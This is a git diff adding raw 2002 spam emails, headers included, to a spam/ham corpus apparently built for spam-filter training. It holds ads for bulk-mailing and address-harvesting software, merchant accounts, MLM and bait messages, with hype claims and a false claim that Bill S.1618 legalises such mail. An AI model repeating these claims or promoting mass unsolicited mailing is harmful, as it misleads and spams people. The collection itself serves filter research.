THE BROADCAST EMAIL PACKAGE +================================================================== +REQUIREMENTS: WIN 95/98/2000/ME/NT/XP or MAC SoftWindows/VirtualPC + +=> [BROADCAST EMAIL SENDER SOFTWARE] ($479.00 Retail): + Our Broadcast Email Sender Software allows you the ability to + send out Unlimited, Personalized and Targeted Broadcast Email + Advertisements to OVER 500,000,000 People on the Internet at + the rate of up to 1,000,000 DAILY, AUTOMATICALLY and for FREE! + Have a List of Your Customer Email Addresses? Broadcast Email + Advertise to Them with our Software for FREE! + +=> [TARGETED EMAIL EXTRACTOR SOFTWARE] ($299.00 Retail): + Our Targeted Email Extractor Software will Automatically + Navigate through the TOP 8 Search Engines, 50,000+ Newsgroups, + Millions of Web Sites, Deja News, Etc.. and Collect MILLIONS + of Targeted Email Addresses by using the keywords of your + choice! This is the ULTIMATE EXTRACTOR TOOL! + +=> [28,000,000+ EMAIL ADDRESSES] ($495.00 Retail): + MILLIONS of the NEWEST & FRESHEST General Interest and + Regionally Targeted Email Addresses Separated by Area Code, + State, Province, and Country! From Alabama to Wyoming, + Argentina to Zimbabwe! 28,000,000+ FRESH EMAILS are YOURS! + +=> [STEP BY STEP BROADCAST EMAIL PACKAGE INSTRUCTIONS]: + You will be Guided through the Entire Process of Installing + and Using our Broadcast Email Software to Send out Broadcast + Email Advertisements, like this one, to MILLIONS of PEOPLE for + FREE! Even if you have NEVER used a computer before, these + instructions make sending Broadcast Email as EASY AS 1-2-3! + +=> [THE BROADCAST EMAIL HANDBOOK]: + The Broadcast Email Handbook will describe to you in detail, + everything you ever wanted to know about Broadcast Email! + Learn how to write a SUCCESSFUL Advertisement, how to manage + the HUNDREDS of NEW ORDERS you could start receiving, what + sells BEST via Broadcast Email, etc... This Handbook is a + NECESSITY for ANYONE involved in Broadcast Email! + +=> [UNLIMITED CUSTOMER & TECHNICAL SUPPORT]: + If you ever have ANY questions, problems or concerns with + ANYTHING related to Broadcast Email, we include UNLIMITED + Customer & Technical Support to assist you! Our #1 GOAL + is CUSTOMER SATISFACTION! + +=> [ADDITIONAL INFORMATION]: + Our Broadcast Email Software Package contains so many + features, that it would take five additional pages just to + list them all! Duplicate Removing, Automatic Personalization, + and Free Upgrades are just a few of the additional bonuses + included with our Broadcast Email Software Package! + +------ ----- ---- --- -- - - +=> ALL TOGETHER our Broadcast Email Package contains EVERYTHING + YOU WILL EVER NEED for Your Entire Broadcast Email Campaign! + +** You Will Receive the ENTIRE Broadcast Email Package with + EVERYTHING Listed Above ($1,250.00+ RETAIL) for ONLY $499.00! +================================================================== +=> BUT WAIT!! If You Order by Monday, June 3rd, You Will + Receive the ENTIRE Broadcast Email Package for ONLY $295.00!! +================================================================== + +Regardless, if you send to 1,000 or 100,000,000 PEOPLE... + +You will NEVER encounter any additional charges ever again! +Our Broadcast Email Software sends Email for a LIFETIME for FREE! + +----- ---- --- -- - - +Since 1997, we have been the Broadcast Email Marketing Authority. +Our #1 GOAL is to SEE YOU SUCCEED with Broadcast Email Advertising. + +We are so confident about our Broadcast Email Package, that we are +giving you 30 DAYS to USE OUR ENTIRE PACKAGE FOR FREE! + +==> You can SEND Unlimited Broadcast Email Advertisements! +==> You can EXTRACT Unlimited Targeted Email Addresses! +==> You can RECEIVE Unlimited Orders! + +If you do not receive at least a 300% INCREASE in SALES or are not +100% COMPLETELY SATISFIED with each and every single aspect of our +Broadcast Email Package, simply return it to us within 30 DAYS for +a 100% FULL REFUND, NO QUESTIONS ASKED!! + +Best of ALL, if you decide to keep our Broadcast Email Package, it +can be used as a 100% TAX WRITE OFF for your Business! + +---- --- -- - - +See what users of our Broadcast Email Package have to say... +================================================================== + +"Since using your program, I have made as much in two days as I + had in the previous two weeks!!!!! I have to say thank you for + this program - you have turned a hobby into a serious money + making concern." + = W. ROGERS - Chicago, IL + +"We have used the software to send to all our members plus about + 100,000 off the disk you sent with the software and the response + we have had is just FANTASTIC!! Our visits and sales are nearly + at an all time high!" + = A. FREEMAN - England, UK + +"I have received over 1200 visitors today and that was only + sending out to 10,000 email addresses!" + = K. SWIFT - Gunnison, CO + +"I'm a happy customer of a few years now. Thanks a lot....I love + this program.." + = S. GALLAGHER - Melville, NY + +"Thanks for your prompt filing of my order for your broadcast email + software -- it took only about a day. This is faster than ANYBODY + I have ever ordered something from! Thanks again!" + = W. INGERSOLL - Scottsdale, AZ + +"I feel very good about referring the folks I have sent to you + thus far and will continue to do so. It is rare to find a company + that does business this way anymore...it is greatly appreciated." + = T. BLAKE - Phoenix, AZ + +"Your software is a wonderful tool! A++++" + = S. NOVA - Los Angeles, CA + +"Thank you for providing such a fantastic product." + = M. LOPEZ - Tucson, AZ + +"Your tech support is the best I have ever seen!" + = G. GONZALEZ - Malibu, CA + +"I am truly impressed with the level of service. I must admit I + was a bit skeptical when reading your ad but you certainly deliver!" + = I. BEAUDOIN - Toronto, ON + +"My first go round gave me $3000 to $4000 in business in less than + one week so I must thank your company for getting me started." + = A. ROBERTS - San Francisco, CA + +"We are really happy with your Email program. It has increased + our business by about 500%." + = M. JONES - Vancouver, BC + +"IT REALLY WORKS!!!!! Thank you thank you, thank you." + = J. BECKLEY - Cupertino, CA + +----- ---- --- -- - - +[SOUND TOO GOOD TO BE TRUE?] + +** If you Broadcast Email to 500,000 Internet Users Daily... +** Do you think that maybe 1 of 5,000 may order? + +=> If so... That is 100 EXTRA (COST-FREE) ORDERS EVERY DAY!! + +Remember.. You have 30 DAYS to use our Broadcast Email Package +for FREE and SEE IF IT WORKS FOR YOU! + +If YOU are not 100% COMPLETELY SATISFIED, SIMPLY RETURN the +Broadcast Email Package to us within 30 DAYS for a FULL REFUND! + +--- -- - - +[BROADCAST EMAIL SOFTWARE PACKAGE]: Easy Ordering Instructions +================================================================== +=> Once your order is received we will IMMEDIATELY RUSH out the +=> Broadcast Email Package on CD-ROM to you via FEDEX PRIORITY +=> OVERNIGHT or 2-DAY PRIORITY INTERNATIONAL the SAME DAY => FREE! + +------- ------ ----- ---- --- -- - - +[TO ORDER BY PHONE]: +To order our Broadcast Email Software Package by phone with +a Credit Card or if you have any additional questions, please +call our Sales Department M-F from 8am to 5pm PST at: + +=> (541)665-0400 + +** YOU CAN ORDER NOW! ALL Major Credit Cards are Accepted! + +ORDER by 3PM PST (M-TH) TODAY -> Have it by 10am TOMORROW -> FREE! +EUROPEAN & FOREIGN Residents -> Have it within 2 WEEKDAYS -> FREE! + +REMOVAL From Our Email List => (206)208-4589 +------- ------ ----- ---- --- -- - - +[TO ORDER BY FAX]: +To order our Broadcast Email Software Package by fax with a Credit +Card, please print out the order form at the bottom of this email +and complete all necessary blanks. Then, fax the completed order +form to: + +=> (503)213-6416 + +------- ------ ----- ---- --- -- - - +[TO ORDER BY POSTAL MAIL]: +To order our Broadcast Email Software Package with a Cashiers +Check, Credit Card, US Money Order, US Personal Check, or US Bank +Draft by postal mail, please print out the order form at the +bottom of this email and complete all necessary blanks. + +Then, send it along with payment of $295.00 US postmarked by +Monday, June 3rd, or $499.00 US after Monday, June 3rd to: + +NIM Corporation +1314-B Center Drive #514 +Medford, OR 97501 +United States of America + +----- ---- --- -- - - +"OVER 20,000 BUSINESSES come on the Internet EVERY single day... +If you don't send out Broadcast Email... YOUR COMPETITION WILL!" + +------- ------ ----- ---- --- -- - - +[Broadcast Email Software Package]: ORDER FORM +(c)1997-2002 NIM Corporation. All Rights Reserved +================================================================== + +Company Name: ____________________________________________________ + +Your Name: _______________________________________________________ + +BILLING ADDRESS: _________________________________________________ + +City: ________________________ State/Province: ___________________ + +Zip/Postal Code: _______________ Country: ________________________ + +NON POBOX SHIPPING ADDRESS: ______________________________________ + +City: ________________________ State/Province: ___________________ + +Zip/Postal Code: _______________ Country: ________________________ + +Phone Number: ___________________ Fax Number: ____________________ + +Email Address: ___________________________________________________ + +** To Purchase by Credit Card, Please Complete the Following: + +Visa [ ] Mastercard [ ] AmEx [ ] Discover [ ] Diners Club [ ] + +Name on Credit Card: _____________________________________________ + +CC Number: _________________________________ Exp. Date: __________ + +Amount to Charge Credit Card ($295.00 or $499.00): ______________ + +Signature: _______________________________________________________ + +================================================================== diff --git a/bayes/spamham/spam_2/00574.66c2cbfe0151a4a658cec4e67d6cab14 b/bayes/spamham/spam_2/00574.66c2cbfe0151a4a658cec4e67d6cab14 new file mode 100644 index 0000000..cbc9d31 --- /dev/null +++ b/bayes/spamham/spam_2/00574.66c2cbfe0151a4a658cec4e67d6cab14 @@ -0,0 +1,84 @@ +From ong@litou.com Mon Jun 24 17:53:04 2002 +Return-Path: ong@litou.com +Delivery-Date: Mon Jun 3 12:18:39 2002 +Received: from smtp3.9tel.net (smtp.9tel.net [213.203.124.146]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g53BIdO11063 for + ; Mon, 3 Jun 2002 12:18:39 +0100 +Received: from litou.com (228.103-30-212.9massy1-1-ro-as-i2-1.9tel.net + [212.30.103.228]) by smtp3.9tel.net (Postfix) with ESMTP id 60D8B5BFA2; + Mon, 3 Jun 2002 13:18:37 +0200 (CEST) +Message-Id: <120622002613111542657@litou.com> +X-Em-Version: 5, 0, 0, 21 +X-Em-Registration: #01B0530810E603002D00 +X-Priority: 3 +Reply-To: surprise@imp20.com +To: "*" +From: "Appellemoi !" +Subject: Quelqu'un t'aime en secret +Date: Mon, 3 Jun 2002 13:15:42 +0200 +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_84815C5ABAF209EF376268C8" +X-Keywords: + +------=_NextPart_84815C5ABAF209EF376268C8 +Content-type: text/plain; charset="iso-8859-1" + + + + + + +------=_NextPart_84815C5ABAF209EF376268C8 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Message + + + +


    +     +

    =20 +
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    +
    + + +------=_NextPart_84815C5ABAF209EF376268C8-- + diff --git a/bayes/spamham/spam_2/00575.cbefce767b904bb435fd9162d7165e9e b/bayes/spamham/spam_2/00575.cbefce767b904bb435fd9162d7165e9e new file mode 100644 index 0000000..86c9345 --- /dev/null +++ b/bayes/spamham/spam_2/00575.cbefce767b904bb435fd9162d7165e9e @@ -0,0 +1,58 @@ +From majee270@excite.com Mon Jun 24 17:53:15 2002 +Return-Path: majee270@excite.com +Delivery-Date: Mon Jun 3 13:34:58 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g53CYwO13306 for + ; Mon, 3 Jun 2002 13:34:58 +0100 +Received: from tomts9-srv.bellnexxia.net (tomts9.bellnexxia.net + [209.226.175.53]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with + ESMTP id g53CYu727315 for ; Mon, 3 Jun 2002 13:34:56 + +0100 +Received: from oemcomputer ([64.230.107.219]) by tomts9-srv.bellnexxia.net + (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with ESMTP id + <20020603123453.JSBY21842.tomts9-srv.bellnexxia.net@oemcomputer>; + Mon, 3 Jun 2002 08:34:53 -0400 +Message-Id: <4113-2200261312350860@oemcomputer> +To: "bizopp126" +From: "Majee" +Subject: STOP THE MLM INSANITY! +Date: Mon, 3 Jun 2002 08:35:01 -0400 +MIME-Version: 1.0 +Content-Type: text/plain; charset=windows-1252 +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g53CYwO13306 +X-Keywords: +Content-Transfer-Encoding: 8bit + +You are receiving this email because you have expressed an interest in receiving information about online business opportunities. If this is erroneous then please accept my most sincere apology. If you wish to be removed from this list then simply reply to this message and put "remove" in the subject line - Thank you. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +Greetings! + +You are receiving this letter because you have expressed an interest in receiving information about online business opportunities. If this is erroneous then please accept my most sincere apology. This is a one-time mailing, so no removal is necessary. + +If you've been burned, betrayed, and back-stabbed by multi-level marketing, MLM, then please read this letter. It could be the most important one that has ever landed in your Inbox. + +MULTI-LEVEL MARKETING IS A HUGE MISTAKE FOR MOST PEOPLE + +MLM has failed to deliver on its promises for the past 50 years. The pursuit of the "MLM Dream" has cost hundreds of thousands of people their friends, their fortunes and their sacred honor. The fact is that MLM is fatally flawed, meaning that it CANNOT work for most people. + +The companies and the few who earn the big money in MLM are NOT going to tell you the real story. FINALLY, there is someone who has the courage to cut through the hype and lies and tell the TRUTH about MLM. + +HERE'S GOOD NEWS + +There IS an alternative to MLM that WORKS, and works BIG! If you haven't yet abandoned your dreams, then you need to see this. Earning the kind of income you've dreamed about is easier than you think! + +With your permission, I'd like to send you a brief letter that will tell you WHY MLM doesn't work for most people and will then introduce you to something so new and refreshing that you'll wonder why you haven't heard of this before. + +I promise that there will be NO unwanted follow up, NO sales pitch, no one will call you, and your email address will only be used to send you the information. Period. + +To receive this free, life-changing information, simply click Reply, type "Send Info" in the Subject box and hit Send. I'll get the information to you within 24 hours. Just look for the words MLM WALL OF SHAME in your Inbox. + +Cordially, + +Majee + +P.S. Someone recently sent the letter to me and it has been the most eye-opening, financially beneficial information I have ever received. I honestly believe that you will feel the same way once you've read it. And it's FREE! + diff --git a/bayes/spamham/spam_2/00576.0debec20687a7f7f2b58995db7604023 b/bayes/spamham/spam_2/00576.0debec20687a7f7f2b58995db7604023 new file mode 100644 index 0000000..67a957e --- /dev/null +++ b/bayes/spamham/spam_2/00576.0debec20687a7f7f2b58995db7604023 @@ -0,0 +1,190 @@ +From hfcfyouroffers676@hotmail.com Mon Jun 24 17:53:22 2002 +Return-Path: hfcfyouroffers676@hotmail.com +Delivery-Date: Mon Jun 3 13:55:40 2002 +Received: from 211.185.25.3 ([211.185.25.3]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g53CtcO13918 for ; + Mon, 3 Jun 2002 13:55:39 +0100 +Message-Id: <200206031255.g53CtcO13918@dogma.slashnull.org> +Received: from mta6.snfc21.pbi.net ([39.26.127.61]) by ssymail.ssy.co.kr + with esmtp; Jun, 03 2002 8:30:03 AM -0300 +Received: from 51.110.169.187 ([51.110.169.187]) by rly-xl04.mx.aol.com + with SMTP; Jun, 03 2002 7:52:02 AM +0700 +Received: from [49.164.250.3] by rly-xw01.mx.aol.com with SMTP; + Jun, 03 2002 6:41:47 AM -0700 +From: Finance +To: Good-or-Bad-Credit@dogma.slashnull.org +Cc: +Subject: NO SET-UP OR APPLICATION FEE ncify +Sender: Finance +MIME-Version: 1.0 +Date: Mon, 3 Jun 2002 08:55:07 -0400 +X-Mailer: Microsoft Outlook Express 5.50.4522.1200 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + + + + + + + + + +
     
    +
    +
    + + + + + + + + + + +
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    Increase + Your Sales Up to 1500% 

    +

    **** PAY NO SET-UP OR APPLICATION FEE + ****
    (LIMITED TIME + OFFER)

    +

    Call + (Toll-Free) 1- 888 - 707- + 4777 with Coupon Code + #800 or
    use our reply form + below for quickest results. 

    We specialize + in businesses that would most likely be declined by other + processors: +
      +
    • Retail +
    • Home-Based Businesses +
    • MLM's +
    • Network Marketing +
    • High Volume +
    • Membership Sites +
    • New Businesses +
    • Good or Bad Credit +
    • Adult Web Sites
    		Account Features Include: +
      +
    • EZ credit - 99% Approval + Rate +
    • Secure real-time transactions + on your website.  +
    • Application Fee of $195.00 & + Electronic Check Set-Up Fee of $295.00 WAIVED!! +
    • Terminal and printer or + software available!  +
    • Equipment purchase or 100% tax + deductible EZ pay lease option available!  +
    • Discount Rates as low as + 1.58%!  +
    • We pay for every person you + refer to us for processing!
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Coupon Code
    First and Last + Name
    Company + Name
    Phone Number + where you can be reached
    The best time to + call you
    Email + Address
    U.S. State or + Canadian Province
    Select your + Country
    Type of Business + (Optional)
    Monthly revenue + in transactions (Optional)
    +

    +

    This offer only for U.S. residents, or Canadians with a + valid SS# and U.S. bank account. +

     

    + +

    To + be removed from this list.
    +     Under Bill S.1618 TITLE III SECTION 301. Per Section 301, + Paragraph (a) (2) (C) passed by the 105th US Congress any email or Mass + Marketing email cannot be considered Spam as long as the sender includes + contact information and a method of removal. To be removed mailto: removed@removefactory.com + and put "Remove" In the Subject line.

    +
    +

    To be removed from future mailings, please send a blank email to.

    + +qgncmtflpngnodveuomgyo diff --git a/bayes/spamham/spam_2/00577.0b1933615cd59d8348c899158d25f252 b/bayes/spamham/spam_2/00577.0b1933615cd59d8348c899158d25f252 new file mode 100644 index 0000000..6744c5e --- /dev/null +++ b/bayes/spamham/spam_2/00577.0b1933615cd59d8348c899158d25f252 @@ -0,0 +1,190 @@ +From hfcfyouroffers676@hotmail.com Mon Jun 24 17:53:27 2002 +Return-Path: hfcfyouroffers676@hotmail.com +Delivery-Date: Mon Jun 3 13:55:56 2002 +Received: from 211.185.25.3 ([211.185.25.3]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g53CtsO13933 for ; + Mon, 3 Jun 2002 13:55:55 +0100 +Message-Id: <200206031255.g53CtsO13933@dogma.slashnull.org> +Received: from mta6.snfc21.pbi.net ([39.26.127.61]) by ssymail.ssy.co.kr + with esmtp; Jun, 03 2002 8:30:03 AM -0300 +Received: from 51.110.169.187 ([51.110.169.187]) by rly-xl04.mx.aol.com + with SMTP; Jun, 03 2002 7:52:02 AM +0700 +Received: from [49.164.250.3] by rly-xw01.mx.aol.com with SMTP; + Jun, 03 2002 6:41:47 AM -0700 +From: Finance +To: Good-or-Bad-Credit@dogma.slashnull.org +Cc: +Subject: NO SET-UP OR APPLICATION FEE ncify +Sender: Finance +MIME-Version: 1.0 +Date: Mon, 3 Jun 2002 08:55:23 -0400 +X-Mailer: Microsoft Outlook Express 5.50.4522.1200 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + + + + + + + + + +
     
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    +
    + + + + + + + + + + +
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    +

    **** PAY NO SET-UP OR APPLICATION FEE + ****
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    +

    Call + (Toll-Free) 1- 888 - 707- + 4777 with Coupon Code + #800 or
    use our reply form + below for quickest results. 

    We specialize + in businesses that would most likely be declined by other + processors: +
      +
    • Retail +
    • Home-Based Businesses +
    • MLM's +
    • Network Marketing +
    • High Volume +
    • Membership Sites +
    • New Businesses +
    • Good or Bad Credit +
    • Adult Web Sites
    		Account Features Include: +
      +
    • EZ credit - 99% Approval + Rate +
    • Secure real-time transactions + on your website.  +
    • Application Fee of $195.00 & + Electronic Check Set-Up Fee of $295.00 WAIVED!! +
    • Terminal and printer or + software available!  +
    • Equipment purchase or 100% tax + deductible EZ pay lease option available!  +
    • Discount Rates as low as + 1.58%!  +
    • We pay for every person you + refer to us for processing!
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Coupon Code
    First and Last + Name
    Company + Name
    Phone Number + where you can be reached
    The best time to + call you
    Email + Address
    U.S. State or + Canadian Province
    Select your + Country
    Type of Business + (Optional)
    Monthly revenue + in transactions (Optional)
    +

    +

    This offer only for U.S. residents, or Canadians with a + valid SS# and U.S. bank account. +

     

    + +

    To + be removed from this list.
    +     Under Bill S.1618 TITLE III SECTION 301. Per Section 301, + Paragraph (a) (2) (C) passed by the 105th US Congress any email or Mass + Marketing email cannot be considered Spam as long as the sender includes + contact information and a method of removal. To be removed mailto: removed@removefactory.com + and put "Remove" In the Subject line.

    +
    +

    To be removed from future mailings, please send a blank email to.

    + +qgncmtflpngnodveuomgyo diff --git a/bayes/spamham/spam_2/00578.c65d716f2fe3db8abc5deb3cbc35029c b/bayes/spamham/spam_2/00578.c65d716f2fe3db8abc5deb3cbc35029c new file mode 100644 index 0000000..0f5951d --- /dev/null +++ b/bayes/spamham/spam_2/00578.c65d716f2fe3db8abc5deb3cbc35029c @@ -0,0 +1,193 @@ +From wiwwyouroffers676@hotmail.com Mon Jun 24 17:53:31 2002 +Return-Path: wiwwyouroffers676@hotmail.com +Delivery-Date: Mon Jun 3 13:58:14 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g53CwDO13971 for + ; Mon, 3 Jun 2002 13:58:13 +0100 +Received: from 211.34.143.97 ([211.34.143.97]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g53Cw9727349 for + ; Mon, 3 Jun 2002 13:58:10 +0100 +Message-Id: <200206031258.g53Cw9727349@mandark.labs.netnoteinc.com> +Received: from mailout2-eri1.midsouth.rr.com ([110.220.177.171]) by + rly-xr01.mx.aol.com with NNFMP; Jun, 03 2002 8:43:24 AM +0400 +Received: from sparc.isl.net ([45.55.85.241]) by anther.webhostingtalk.com + with NNFMP; Jun, 03 2002 7:37:09 AM +0400 +Received: from [46.224.35.15] by rly-xl04.mx.aol.com with smtp; + Jun, 03 2002 6:39:23 AM -0800 +From: Sales +To: Merchant@mandark.labs.netnoteinc.com +Cc: +Subject: Good or Bad Credit Merchant Account ayaxa +Sender: Sales +MIME-Version: 1.0 +Date: Mon, 3 Jun 2002 08:57:39 -0400 +X-Mailer: Microsoft Outlook Build 10.0.2616 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + + + + + + + + + +
     
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    +
    + + + + + + + + + + +
    +

    Increase + Your Sales Up to 1500% 

    +

    **** PAY NO SET-UP OR APPLICATION FEE + ****
    (LIMITED TIME + OFFER)

    +

    Call + (Toll-Free) 1- 888 - 707- + 4777 with Coupon Code + #800 or
    use our reply form + below for quickest results. 

    We specialize + in businesses that would most likely be declined by other + processors: +
      +
    • Retail +
    • Home-Based Businesses +
    • MLM's +
    • Network Marketing +
    • High Volume +
    • Membership Sites +
    • New Businesses +
    • Good or Bad Credit +
    • Adult Web Sites
    		Account Features Include: +
      +
    • EZ credit - 99% Approval + Rate +
    • Secure real-time transactions + on your website.  +
    • Application Fee of $195.00 & + Electronic Check Set-Up Fee of $295.00 WAIVED!! +
    • Terminal and printer or + software available!  +
    • Equipment purchase or 100% tax + deductible EZ pay lease option available!  +
    • Discount Rates as low as + 1.58%!  +
    • We pay for every person you + refer to us for processing!
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Coupon Code
    First and Last + Name
    Company + Name
    Phone Number + where you can be reached
    The best time to + call you
    Email + Address
    U.S. State or + Canadian Province
    Select your + Country
    Type of Business + (Optional)
    Monthly revenue + in transactions (Optional)
    +

    +

    This offer only for U.S. residents, or Canadians with a + valid SS# and U.S. bank account. +

     

    + +

    To + be removed from this list.
    +     Under Bill S.1618 TITLE III SECTION 301. Per Section 301, + Paragraph (a) (2) (C) passed by the 105th US Congress any email or Mass + Marketing email cannot be considered Spam as long as the sender includes + contact information and a method of removal. To be removed mailto: removed@removefactory.com + and put "Remove" In the Subject line.

    +
    +

    To be removed from future mailings, please send a blank email to.

    + +vroepvkbimstotvtob diff --git a/bayes/spamham/spam_2/00579.d94454f0e596c00bf22ce1f315427143 b/bayes/spamham/spam_2/00579.d94454f0e596c00bf22ce1f315427143 new file mode 100644 index 0000000..d9ef210 --- /dev/null +++ b/bayes/spamham/spam_2/00579.d94454f0e596c00bf22ce1f315427143 @@ -0,0 +1,209 @@ +From targetemailextractor@btamail.net.cn Mon Jun 24 17:53:41 2002 +Return-Path: targetemailextractor@btamail.net.cn +Delivery-Date: Mon Jun 3 16:23:10 2002 +Received: from c-excellence.com ([61.135.129.160]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g53FN5O18425 for ; + Mon, 3 Jun 2002 16:23:07 +0100 +Received: from html [61.174.192.114] by c-excellence.com (SMTPD32-5.00) id + A6652CC013E; Mon, 03 Jun 2002 17:14:29 +800 +From: targetemailextractor@btamail.net.cn +To: yyyy_paige@conknet.com +Subject: Direct Email Blaster, Email extractor, email downloader, email verify ........... +Date: Mon, 3 Jun 2002 17:07:50 +MIME-Version: 1.0 +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 +Message-Id: <200206031714.SM01292@html> +X-Keywords: +Content-Type: text/html; charset="DEFAULT_CHARSET" + + + + +
    +   +
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    + Direct Email Blaster +
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    The program will send mail at the +rate of over 1, 000 e-mails per minute. 
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    +Built in SMTP server 
    +Have Return Path 
    +Can Check Mail Address 
    +Make Error Send Address List( Remove or Send Again) 
    +Support multi-threads. 
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    +Offers an easy-to-use interface! 
    +Easy to confige and use 

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    Maillist Verify

    +

    Maillist Verify is intended for e-mail addresses and mail +lists verifying. The main task is to determine which of addresses in the mail +list are dead. The program is oriented, basically, on programmers which have +their own mail lists to inform their users about new versions of their programs.

    +

    The program works on the same algorithm as ISP mail +systems do. Mail servers addresses for specified address are extracted from DNS. +The program tries to connect with found SMTP-servers and simulates the sending +of message. It does not come to the message sending ‿/NOBR> EMV +disconnect as soon as mail server informs does this address exist or not. EMV +can find about 90% of dead addresses ‿/NOBR> some mail systems receive +all messages and only then see their addresses and if the address is dead send +the message back with remark about it.

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    Express Email Blaster 

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    Express Email Blaster  is a very fast, powerful yet +simple to use email sender. Utilizing multiple threads/connections and multiple +SMTP servers your emails will be sent out fast and easily. There are User +Information, Attach Files, Address and Mail Logs four tabbed area for the +E-mails details for sending. About 25 SMTP servers come with the demo version, +and users may Add and Delete SMTP servers. About 60,000 +E-mails will be sent out per hour."

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    Express Email Address +Extractor

    + +

    This program is the +most efficient, easy to use email address collector available on the internet! Beijing +Express Email Address Extractor (ExpressEAE) is designed to extract e-mail +addresses from web-pages on the Internet (using HTTP protocols) .ExpressEAE +supports operation through many proxy-server and works very fast, as it is able +of loading several pages simultaneously, and requires very few resources.

    +

    With +it, you will be able to use targeted +searches to crawl the world wide web, extracting thousands of clean, fresh email +addresses. Ably Email address Extractor is unlike other address collecting +programs, which limit you to one or two search engines and are unable to do auto +searches HUGE address. Most of them collect a high percentage of incomplete, +unusable addresses which will cause you serious problems when using them in a +mailing.  +

      +
    • Easier + to learn and use than any other email address collector program available. +
    • Accesses + eight search engines  +
    • Add + your own URLs to the list to be searched +
    • Supports + operation through a lot of + proxy-server and works very fast (HTTP Proxy) +
    • Able + of loading several pages simultaneously +
    • Requires + very few resources +
    • Timeout + feature allows user to limit the amount of time crawling in dead sites and + traps. +
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    • Pause/continue + extraction at any time. +
    • Auto + connection to the Internet
      • +
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    + Express Email Address Downloader +
    +
      +
    • ExpressEAD  + is a 32 bit Windows Program for e-mail + marketing. It is intended for easy and convenient search large e-mail + address lists from mail servers. The program can be operated on Windows + 95/98/ME/2000 and NT. +
    • ExpressEAD  + support multi-threads (up to 1024 + connections). +
    • ExpressEAD  + has the ability  to reconnect to + the mail server if the server has disconnected and continue the searching at + the point where it has been interrupted. +
    • ExpressEAD  + has an ergonomic interface that is + easy to set up and simple to use.
      • +
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    Features: +

      +
    • support + multi-threads. +
    • auto get smtp + server address,support multi-smtp servers. +
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    This program was designed + to be a complement to the Direct Email + Blaster  and Email + Blaster suite of bulk email software + programs. Its purpose is to organize your email lists in order to be more + effective with your email marketing campaign. Some of its features include:

    +

    ‿Combine several + lists into one file.
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    + ‿Remove addresses from file.
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+Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00589.0dd634d12e5f4538e6fe74841ee0b603 b/bayes/spamham/spam_2/00589.0dd634d12e5f4538e6fe74841ee0b603 new file mode 100644 index 0000000..30419a9 --- /dev/null +++ b/bayes/spamham/spam_2/00589.0dd634d12e5f4538e6fe74841ee0b603 @@ -0,0 +1,162 @@ +From D.Black@cbs.dk Mon Jun 24 17:54:18 2002 +Return-Path: D.Black@cbs.dk +Delivery-Date: Tue Jun 4 00:52:17 2002 +Received: from servlp.rioitaipu.com.br ([200.231.14.194]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g53NqFO02857 for + ; Tue, 4 Jun 2002 00:52:16 +0100 +Received: from mail1.uct.ac.za ([200.48.36.114] (may be forged)) by + servlp.rioitaipu.com.br (2.5 Build 2639 (Berkeley 8.8.6)/8.8.4) with ESMTP + id UAA24287; Mon, 03 Jun 2002 20:38:25 -0300 +Message-Id: <000047c264ab$00004c82$00000e53@mail.cbs.ch> +To: +From: "U.S. Conference Service" +Subject: 18cent long distance conference calls +Date: Mon, 03 Jun 2002 16:46:06 -1900 +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +New Web Technology + + + +

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    + + + diff --git a/bayes/spamham/spam_2/00590.7a27fe75bf73486c1c1913f87aaddb4d b/bayes/spamham/spam_2/00590.7a27fe75bf73486c1c1913f87aaddb4d new file mode 100644 index 0000000..95386f8 --- /dev/null +++ b/bayes/spamham/spam_2/00590.7a27fe75bf73486c1c1913f87aaddb4d @@ -0,0 +1,393 @@ +From mdtlamp2231@posithiv.ch Mon Jun 24 17:54:19 2002 +Return-Path: mdtlamp2231@posithiv.ch +Delivery-Date: Tue Jun 4 04:13:49 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g543DjO18028 for + ; Tue, 4 Jun 2002 04:13:46 +0100 +Received: from sbnt1.stigbertils.com (c213-17-15-213.bjare.net + [213.15.17.213]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP + id g543Dg729688 for ; Tue, 4 Jun 2002 04:13:43 +0100 +Received: from tcs.co.in (209.25.24.244 [209.25.24.244]) by + sbnt1.stigbertils.com with SMTP (Microsoft Exchange Internet Mail Service + Version 5.5.2653.13) id L6S9CFS8; Tue, 4 Jun 2002 05:13:19 +0200 +Message-Id: <0000212d0d3e$0000574d$00007c2e@berka.zaman.com.tr> +To: , , + , , + , , + , , , + , , , + , , , + +Cc: , , , + , , , + , , , + , , , + , , + , 